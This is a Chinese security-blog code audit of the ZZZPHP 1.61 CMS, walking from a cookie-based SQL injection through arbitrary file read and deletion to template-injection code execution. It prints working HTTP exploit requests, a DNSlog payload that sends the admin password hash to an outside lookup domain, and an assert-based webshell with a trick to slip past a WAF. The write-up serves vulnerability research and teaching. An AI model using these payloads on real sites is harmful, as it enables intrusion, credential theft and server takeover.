ZZZPHP1.61 代碼審計-從SQL注入到Getshell

2021-02-20 i春秋

近期有很多小夥伴在後臺留言想看關於代碼審計的文章,其實有關審計的文章網上資源是比較多的,但是從代碼審計開始到結束的這類文章卻少之甚少。

今天要講解的ZZZPHP1.61這套審計漏洞比較多,SQL注入漏洞、任意文件刪除漏洞、任意文件讀取漏洞、遠程執行漏洞,當中也藉助了漏掃工具,內容涵蓋全面,分析透徹,學完定會受益匪淺!

註:文章還是原來的方式,先復現後分析,閱讀用時約7分鐘。

payload:

GET /search/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=58ebb86ae371bd1f65466b1b94f7a5f7; zzz_adminpass=1;zzz_keys=0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

對比兩次的時間就曉得我們的語句執行成功了,表示存在SQL注入漏洞。

這個洞是先用AWVS工具掃了一遍出來的,我們審計一套代碼的時候可以先試試這些漏掃工具,提高一下效率。雖然有誤報但是收集到的信息比手工去檢測的效率高。

大家測試的時候可以用PHPstorm或者vscode這些工具去調試,走一遍整個過程,這樣會對程序有所了解。

再發一次包到search頁面會停留到search/index.php文件,這個文件比較簡單,包含了一個zzz_client.php的文件。

<?php
define('LOCATION', 'search');
require dirname(dirname(__FILE__)). '/inc/zzz_client.php';

進到inc/zzz_client.php文件有一些包含的進來的文件類似模板的文件等,這裡通過上面的LOCATION找到$tplfile= TPL_DIR . 'search.html';

switch ($location) {
case 'about':
   $tplfile= TPL_DIR . G('stpl');
   break;
case 'brand':     
   $stpl=splits(db_select('brand','b_template',"bid=".G('bid') or "b_name='".G('bname')."'"),',');
   if (defined('ISWAP')){
     $tplfile=isset($stpl[1]) ? $stpl[1] : $stpl[0];
   }else{
     $tplfile=$stpl[0];   
   }
   $tplfile=empty($tplfile) ? TPL_DIR .'brand.html' : TPL_DIR . $tplfile ;
   break;
case 'brandlist':
   $tplfile=isset($stpl) ? TPL_DIR .  $stpl: TPL_DIR . 'brandlist.html';
   $GLOBALS['tid']='-1';
   break;
case 'content':       
   $tplfile= TPL_DIR . G('ctpl');
   break;
case 'list':
   $tplfile= TPL_DIR . G('stpl');
   break;
case 'taglist':
   $tplfile=TPL_DIR . 'taglist.html';
   $GLOBALS['tid']='-1';
   break;
case 'user':
   $tplfile= TPL_DIR . 'user.html';
   break;
case 'search':
   $tplfile= TPL_DIR . 'search.html';
   break;

到下面就實例化,解析模板。

}elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent);
echo $zcontent;   

往下走進到inc/zzz_template.php文件,注入的主要是$zcontent = 

$this->parserlocation( $zcontent ); // 站點標籤這一句,繼續parserSearch函數跟下去。

case 'search':
   $zcontent = $this->parserSearch( $zcontent );

走到inc/zzz_template.php的1561行,如果經過getform函數的話會被txt_html過濾掉,但是我們用的cookie,所以這裡直接獲取沒有過濾。

$keys = safe_key(getform( 'keys', 'post' ),60);
if ( $keys ) {
    set_cookie( 'keys', $keys );
} else {
    $keys = get_cookie( 'keys' );
}

我們可以進get_cookie函數看下,prefix前綴是zzz_所以我們的參數為zzz_keys,這裡獲取到了數據但也沒有過濾直接就返回了。

function get_cookie( $name ) {
   if ( is_null( $name ) ) return '';
   $data = isset( $_COOKIE[ $_SERVER[ 'prefix' ] . $name ] ) ? $_COOKIE[ $_SERVER[ 'prefix' ] . $name ] : NULL;
   return $data;
}

下面就是直接執行了我們帶有惡意的SQL語句了

知道有SQL注入漏洞後,可以直接扔進SQLmap或者用DNSlog,下面我提供一個DNSlog的payload:

0'XOR(if(now()=sysdate(),(select load_file(concat('\\\\',(select password from zzz_user where username='admin'),'.xxxx.ceye.io\\abc'))),0))XOR'Z

payload:

GET /admin155/?module=templateedit&type=/config/zzz_config.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin155/?datebackuplist
Cookie: PHPSESSID=58ebb86ae371bd1f65466b1b94f7a5f7; zzz_adminpass=1; zzz_adminpath=0; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; zzz_adminname=admin; XDEBUG_SESSION=PHPSTORM
Connection: close
Upgrade-Insecure-Requests: 1

這個漏洞是無需登錄後臺的,後臺的地址可以直接寫一個Python腳本來爆破一下就行了,命名規則為admin+三位隨機數。

這個漏洞是在後臺查看模板文件內容的時候找到的,抓一個包然後改變下路徑看是否能讀到其他的目錄文件。

文件路徑admin155/index.php

前面是獲取module和type參數,看到文件的最後面包含文件這裡,走進去看下:

$GLOBALS['r']=isset($data) ? arr_key($data) : '';

include parse_admin_tlp($module);

作用是把我們剛才傳入的模板名稱然後生成一個緩存文件。

function parse_admin_tlp( $module ) {
   $tpltype = G( 'ID' ) ? 'edit' : 'add';
   $tplfile = SITE_DIR . conf( 'adminpath' ) . 'template/' . $module . '.tpl';
   $cachefile = RUN_DIR . 'cache/' . conf( 'adminpath' ) . md5( $module . $tpltype ) . '.tpl';
   
   
   if ( !is_file( $cachefile ) || time_file( $tplfile ) > time_file( $cachefile ) || size_file( $tplfile ) == 0 ) {
      create_file( $cachefile, template_parse( load_file( $tplfile ) ) );
   }
   return $cachefile;
}

後面會走到緩存文件的26行,load_file加載文件,網站的根目錄和剛才傳入的type也就是我們的路徑。

<?php echo load_file($_SERVER['DOCUMENT_ROOT'].G('type'));?>

inc/zzz_file.php的load_file函數,這裡做了一個替換,不過沒什麼卵用,判斷是否是文件就直接讀取內容了。

function load_file( $path, $location = NULL ) {
   $path = str_replace( '//', '/', $path );
   if ( is_file( $path ) ) {
      return file_get_contents( $path );
   } elseif ( !is_null( $location ) ) {
      $locationpath = PLUG_DIR . 'template/' . $location . '.tpl';
      if ( is_file( $locationpath ) ) {
         return file_get_contents( $locationpath );
      } else {
         $url = $_SERVER[ 'REQUEST_URI' ];
         $url = sub_left( $url, '?' );
         phpgo( $url );
         return false;
      }
   } elseif ( is_file( SITE_DIR . $path ) ) {
      return file_get_contents( SITE_DIR . $path );
   } else {
      error( "載入文件失敗,請檢查文件路徑!," . str_replace( DOC_PATH, '', $path ) );
      return false;
   }
}

讀取網站之外的文件

為什麼沒有登錄後臺也能利用這個漏洞呢?

先在admin155/index.php裡面包含inc/zzz_admin.php文件,但是這個inc/zzz_admin.php文件判斷後沒有用exit( )這類的函數,導致程序繼續往下走,又會回到admin155/index.php執行67行的內容,導致出現了可以不用登錄後臺也能讀取任意文件。

Payload:

POST /admin155/save.php?act=delfile HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin155/?module=uploadlist&type=&folder=product
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 30
Cookie: PHPSESSID=58ebb86ae371bd1f65466b1b94f7a5f7; zzz_adminpass=1; zzz_adminpath=0; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; zzz_adminname=admin; XDEBUG_SESSION=PHPSTORM
Connection: close

path=/upload/..//install/install.lock

這個漏洞也是在後臺做一些刪除操作的時候發現的,開始的時候限制了目錄,程序裡面做了安全目錄的限制,但是還是可以通過一些手段去繞過的。

根據我們的paylaod可以看到admin155/save.php的文件,delfile( )函數,這裡從post方式獲取到路徑,這裡做了一個限制的數組$safe_path,通過arr_search函數來尋找是否匹配。如果存在的話就傳遞給del_file函數。

function delfile(){
   $file=getform('path','post');     
    $file_path=file_path($file);
    $safe_path=array('upload','template','runtime','backup');
    if(arr_search($file_path,$safe_path)){
        $file=$_SERVER['DOCUMENT_ROOT'].$file;
        return del_file($file);
    }
}

比較數組


function arr_search($arr1, $arr2 ) {
    $result=false;
    foreach ( $arr1 as $v ) {
       if(in_array( $v,$arr2 )) return true;        
    }
    return $result;
}

但是這裡做了後綴的限制,後綴一定不能是'php', 'db', 'mdb', 'tpl'類型。

function del_file( $file ) {
   if ( is_null( $file ) ) return FALSE;
   $file = is_file( $file ) ? $file : $_SERVER[ 'DOCUMENT_ROOT' ] . $file;
   if ( is_file( $file ) ) {
        if (ifstrin( $file,'runtime')){
            unlink( $file );
        }else{
            $ext = file_ext( $file );
            if ( in_array( $ext, array( 'php', 'db', 'mdb', 'tpl' ) ) ) return FALSE;
            if ( !unlink( $file ) ) {
                $r = @rename( $file, randname() );
            }
        }
   }
}

但是我們能刪除install.lock之類的文件,刪除這個安裝文件就可以重新安裝程序,然後遠程寫入配置文件的方法把我們的惡意語句寫進配置文件中去。

參考文章:

https://getpass.cn/MIPCMS%20V3.1.0%20Remotely%20Writing%20the%20Configuration%20File%20Getshell/ ,但是這個程序不行,他的大部分get、post都是經過getform函數的,這個函數裡面用了一個txt_html轉換來過濾掉我們的字符。

function getform( $name, $source = 'both', $type = NULL, $default = NULL ) {
   switch ( $source ) {
      case 'post':
         $data = _POST( $name );
         break;
      case 'get':
         $data = _GET( $name );
         break;
      case 'both':
         $data = _POST( $name ) ? : _GET( $name );
         break;
   }
   if ( !is_null( $type ) ) {
        if(ifch($default)){
            $err = checkstr( $data, $type, $default );
        }else{
            $err = checkstr( $data, $type, $name );
        }
      if ( $err[ 'code' ] == 0 ){
         if ( $default == 'layer' ) {
            layererr( $err[ 'err' ] );
         } else {
            back( $err[ 'err' ] );
         }
        }  
   }
   if ( !is_null( $default ) && !ifch( $default) ) {
      $data = empty( $data ) ? $default : $data;
   }
   return txt_html( $data );
}

txt_html雖然說這個能作為防禦,但是也影響了程序模板部分的功能,等會getshell的時候會分析到。


function txt_html( $s ) {   
   if ( !$s ) return $s;
   if ( is_array( $s ) ) {
      foreach ( $s as $key => $value ) {
         $string[ $key ] = txt_html( $value );
      }
   } else {
        if (get_magic_quotes_gpc())  $s = addslashes( $s );        
      $s = trim( $s );
      
        if ( DB_TYPE == 'access' ) {
         $s= toutf( $s );
         $s = str_replace( "'", "'", $s );
         $s = str_replace( '"', """, $s );
         $s = str_replace( "<", "<", $s );
         $s = str_replace( ">", ">", $s );
      }else{
         $s = htmlspecialchars( $s,ENT_QUOTES,'UTF-8' );      
      }            
      $s = str_replace( "\t", '        ', $s );     
      $s = preg_replace('/script/i', 'scr1pt', $s );
      $s = preg_replace('/\.php/i', '.php', $s );
        $s = preg_replace('/ascii/i', 'asc11', $s );
      $s = preg_replace('/eva1/i' , 'eva1', $s );
      $s = str_replace( "┠", "", $s );
      $s = str_replace( "┼", "", $s );
      $s = str_replace( "\r\n", "\n", $s );
      $s = str_replace( "\n", '<br/>', $s );
   }
   return $s;
}

這個漏洞有點類似於seacms的那個前臺getshell,但是這個是要在後臺修改模板文件才可執行。

1、登錄後臺,找到模板管理,電腦模板。

2、隨便找一個文件,比如我用brandlist.html,點擊編輯,加入我們的payload。

{if:a-ssert($_POST[x])}xxx{end if} //這裡為了防止創宇雲盾檢測到去掉a後面的-就行了。

3、保存後打開我們編輯的頁面,post的內容x=phpinfo( );或者x=s-ystem('whoami')//這裡也是把s後面的-去掉就行了。

首先我們可以用seay的代碼審計工具去搜索關鍵字執行,這個我先用了phpstorm的搜索功能找到一個eva1的執行函數,然後逆過來看下從哪裡可以執行這個函數,看到了在模板文件的替換函數裡面。

我們直接定位到if替換的地方inc/zzz_template.php文件的parserCommom函數,可以進parserIfLabel函數一看究竟。

public
function parserCommom( $zcontent ) {
   $zcontent = $this->parserSiteLabel( $zcontent );
   $zcontent = $this->ParseInTemplate( $zcontent );
   $zcontent = $this->parserConfigLabel( $zcontent );
   $zcontent = $this->parserSiteLabel( $zcontent );
   $zcontent = $this->parserCompanyLabel( $zcontent );
   $zcontent = $this->parserlocation( $zcontent );
   $zcontent = $this->parserLoopLabel( $zcontent );
   $zcontent = $this->parserContentLoop( $zcontent );
   $zcontent = $this->parserbrandloop( $zcontent );
   $zcontent = $this->parserGbookList( $zcontent );
   $zcontent = $this->parserUser( $zcontent );
   $zcontent = $this->parserLabel( $zcontent );
   $zcontent = $this->parserPicsLoop( $zcontent );
   $zcontent = $this->parserad( $zcontent );
   $zcontent = parserPlugLoop( $zcontent );
   $zcontent = $this->parserOtherLabel( $zcontent );
   $zcontent = $this->parserIfLabel( $zcontent );
   $zcontent = $this->parserNoLabel( $zcontent );
   return $zcontent;
}

注意:先執行inc/zzz_client.php裡面的模板解析函數,然後再進入我們剛才開始分析的地方。

parserIfLabel這個函數開始正則匹配,然後把匹配到的語句做替換,最後ifstr的值為a-ssert($_POST[x]加入eva1的$ifstr函數執行,程序本身沒有在這裡做過濾一些危險的函數,導致任意代碼執行。

public
function parserIfLabel( $zcontent ) {
   $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
   if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
      $count = count( $matches[ 0 ] );
      for ( $i = 0; $i < $count; $i++ ) {
         $flag = '';
         $out_html = '';
         $ifstr = $matches[ 1 ][ $i ];
         $ifstr = str_replace( '<>', '!=', $ifstr );
         $ifstr = str_replace( 'mod', '%', $ifstr );
         $ifstr1 = cleft( $ifstr, 0, 1 );
         switch ( $ifstr1 ) {
            case '=':
               $ifstr = '0' . $ifstr;
               break;
            case '{':
            case '[':
               $ifstr = "'" . str_replace( "=", "'=", $ifstr );
               break;
         }
         $ifstr = str_replace( '=', '==', $ifstr );
         $ifstr = str_replace( '===', '==', $ifstr );
         @eva1( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

上面任意文件刪除漏洞說到的影響了模板文件的功能,原因是在txt_html函數裡面,因為開始編輯保存的時候它會把整個模板文件的內容傳到上面的getform的函數,然後返回數據的時候用了下面的txt_html函數,一般模板文件裡面會有一些類似script的字符但是這裡過濾了

$s = preg_replace('/script/i', 'scr1pt', $s );所以導致影響了這個編輯模板的功能,這樣就很矛盾了。


function txt_html( $s ) {   
   if ( !$s ) return $s;
   if ( is_array( $s ) ) {
      foreach ( $s as $key => $value ) {
         $string[ $key ] = txt_html( $value );
      }
   } else {
        if (get_magic_quotes_gpc())  $s = addslashes( $s );        
      $s = trim( $s );
      
        if ( DB_TYPE == 'access' ) {
         $s= toutf( $s );
         $s = str_replace( "'", "'", $s );
         $s = str_replace( '"', """, $s );
         $s = str_replace( "<", "<", $s );
         $s = str_replace( ">", ">", $s );
      }else{
         $s = htmlspecialchars( $s,ENT_QUOTES,'UTF-8' );      
      }            
      $s = str_replace( "\t", '        ', $s );     
      $s = preg_replace('/script/i', 'scr1pt', $s );
      $s = preg_replace('/\.php/i', '.php', $s );
       $s = preg_replace('/ascii/i', 'asc11', $s );
      $s = preg_replace('/eva1/i' , 'eva1', $s );
      $s = str_replace( "┠", "", $s );
      $s = str_replace( "┼", "", $s );
      $s = str_replace( "\r\n", "\n", $s );
      $s = str_replace( "\n", '<br/>', $s );
   }
   return $s;
}

以上是今天的全部內容,大家學會了嗎?

新來的朋友如果想要了解其他的必備技能和實用工具,可以點擊菜單欄中的入門錦囊查看相關內容:

文章素材來源於i春秋社區

i春秋官方公眾號為大家提供

前沿的網絡安全技術

簡單易懂的實用工具

緊張刺激的安全競賽

還有網絡安全大講堂

更多技能等你來解鎖

相關焦點

  • 搜索 PHP代碼審計之旅
    但如果這些代碼是分布在一套源碼中(如CMS),需要我們去發現,去找到並會利用,就需要有一定的查找以及利用思路,這次測試的是BlueCMS1.6,重要不在於去復現這個CMS的漏洞,而在先了解一下整個審計思路還有過程是怎麼樣的,去鍛鍊自己的審計能力。由於我比較菜,所以有錯誤的地方也請師傅們指正。何為白盒、黑盒、灰盒測試審計代碼會經常遇到這三個名詞,這又代表是什麼意思那?
  • php代碼審計學習之函數缺陷
    獲取get的ID,通過stop_hack進行過濾並拼接到sql語句中進行查詢and (select updatexml(1,make_set(3,'~',(select查找代碼中是否含有<與>的特殊符號,strpos在沒找到指定字符時會返回flase,如果第一個字符找到就返回0,0的取反為1,就可以注入xml進行注入了user=<"><injected-tag property="&pass=<injected-tag>
  • XDCMS V1 代碼審計之旅
    3:訪問特定功能點,進行特定代碼審計,也就是說一個功能點看一段代碼(這裡如果出現了過濾函數,基本上可以在2中找到)審計之旅先打開首頁看看,看到有登陸框和註冊框,那就先從註冊框開始審計,查看代碼,蕪湖,沒有進行過濾,直接調用,舒服了(這裡默認後綴為.php)
  • phpmyadmin getshell
    1SELECT '<?php eval($_POST["cmd"]);?>'執行完sql語句,可以看到在日誌文件中記錄了剛才執行的sql語句。2、開啟日誌,並指定日誌文件的路徑(如果有寫權限,執行完下列sql語句後,會生成slowlogshell.php文件)12set GLOBAL
  • PHP代碼審計四
    ,漏洞根據不同的代碼可以導致各種攻擊,如代碼注入、SQL注入、目錄遍歷等等<?php:// 訪問各個輸入/輸出流(I/O streams),php://filter用於讀取源碼,php://input用於執行php代碼。
  • 【雲演情報】Discuz_7.2_faq.php_sql注入;全球IPv4地址正式耗盡;FB與Twitter再現漏洞.
    Discuz_7.2在faq.php存在sql注入漏洞,攻擊者可以利用此漏洞執行任意的sql命令,可以造成資料庫信息洩露,嚴重者可導致伺服器被控制。JTBCv3.0.1.6版本manage.php頁面存在代碼執行漏洞getshellJTBC網站內容管理系統是一套可對現有模塊進行擴充與克隆的網站系統核心,採用UTF-8編碼,採取 語言/代碼/程序 兩兩分離的技術模式。  JTBC應用3.0.1.6版本在console/file/manage.php文件中存在任意代碼執行漏洞。
  • 特殊場景的sql注入思路
    上一篇介紹了sql注入的基礎知識以及手動注入方法,但是在實際的環境中往往不會像靶場中那樣簡單。今天我就來為大家介紹一種特殊場景的sql注入思路。用戶名與密碼分開驗證的情況第一個場景我們以We Chall平臺的Training: MySQL II 一題為例。
  • 【作者投稿】PHP代碼審計-sprintf函數中的安全問題
    測試代碼:<?php  $str = '788 1and 1=1';  echo sprintf('output is %d',$str);  ?php$str = '788 1and 1=1';echo sprintf('output is %d hello',$str).'<br>';echo sprintf('output is %s hello',$str).'<br>';echo sprintf('output is %20s hello',$str).'
  • 滲透中利用postgresql getshell及注入技巧
    3.B站在線學習連結由於分享的資源連結經常被和諧,所以必須遷移到B站上供大家學習B站up主官方帳號:VMYKnetwork團隊0x00 前言研究postgresql資料庫如何getshell是在滲透中遇到一個pgAdmin的web管理頁面可以直接操作postgresql且通過網上的文章沒有達到9.6版本getshell的效果所以便有了以下文章。
  • SQL注入攻擊詳解
    注入可以藉助資料庫的存儲過程進行提權等操作4、判斷Sql注入點4.1 判斷是否存在sql注入漏洞通常情況下,可能存在 Sql 注入漏洞的 Url 是類似這種形式 :http://xxx.xxx.xxx/abcd.php?id=XX對 Sql 注入的判斷,主要有兩個方面:判斷該帶參數的 Url 是否存在 Sql 注入?
  • desc巧用及反引號 ` SQL注入——【61dctf】 inject writeup
    phprequire("config.php");$table = $_GET['table']?>代碼分析$table = $_GET['table']?($sql);echo $ret[0];測試http://web.jarvisoj.com:32794/index.php?
  • php mysql SQL注入語句構造
    由於PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時語句的構造方面更是個難點,本文主要是借對Okphp BBS v1.3一些文件得簡單分析,來談談php+mysql注射語句構造方式,希望本文對你有點幫助。
  • 全網最詳細的常見PHP漏洞全方面解析
    </form>$_SERVER["PHP_SELF"]變量的值為當前頁面名稱例:http://www.sectop.com/get.phpget.php 中上述的表單那麼我們提交http://www.sectop.com/get.php/"><script>alert(document.cookie
  • Myql SLEEP函數和SQL注入
    專門對於mysql,最常用的掃描滲透和安全審計工具是sqlmap。sqlmap是使用Python編寫的一款資料庫sql注入掃描工具,目前支持常見的mysql、oracel、postgresql、sql server,access,db2,sqlite等數據的安全漏洞(sql注入)。
  • 代碼審計之PHPWIND
    applications/appcenter/admin/AppController.php圖1跟蹤代碼執行當本地上傳時會進入uploadAction函數,先進行了用戶驗證然後新建一個文件上傳的PwApplicationUpload類開始執行上傳
  • PHP代碼安全
    SQL 注入攻擊者通過構造惡意SQL命令發送到資料庫,如果程序未對用戶輸入的 SQL命令執行判斷過濾,那麼生成的SQL語句可能會繞過安全性檢查,
  • php 不用字母,數字和下劃線寫 shell
    php$_++;print($_);?>結果會輸出:1不用數字和字母的 shell在講不用數字,字母和下劃線寫 shell 之前,先了解下不用數字和字母寫 shell。畢竟學習都是循序漸進的。代碼:<?phpif(!
  • 從WordPress SQLi談PHP格式化字符串問題
    如下代碼是可以執行的,顯然php格式化字符串中並不存在  %y  類型,但php不會報錯,也不會輸出  %y  ,而是輸出為空<?php$query = "%y";$args = 'b';echo sprintf( $query, $args ) ;?
  • SQL注入的幾種類型和原理
    例如;select if(substr(user(),1,1)=『r』,sleep(3),1)%23更多語句不進行贅述。到這裡已經介紹了一些注入方式了,有一些書籍或文章可能還會介紹get注入、post注入、數字型注入、字符型注入,在我看來,只是改變了注入點和閉合語句的方式不同。下面介紹的是一些比較少遇到的,利用的點不同,結合了其他特性。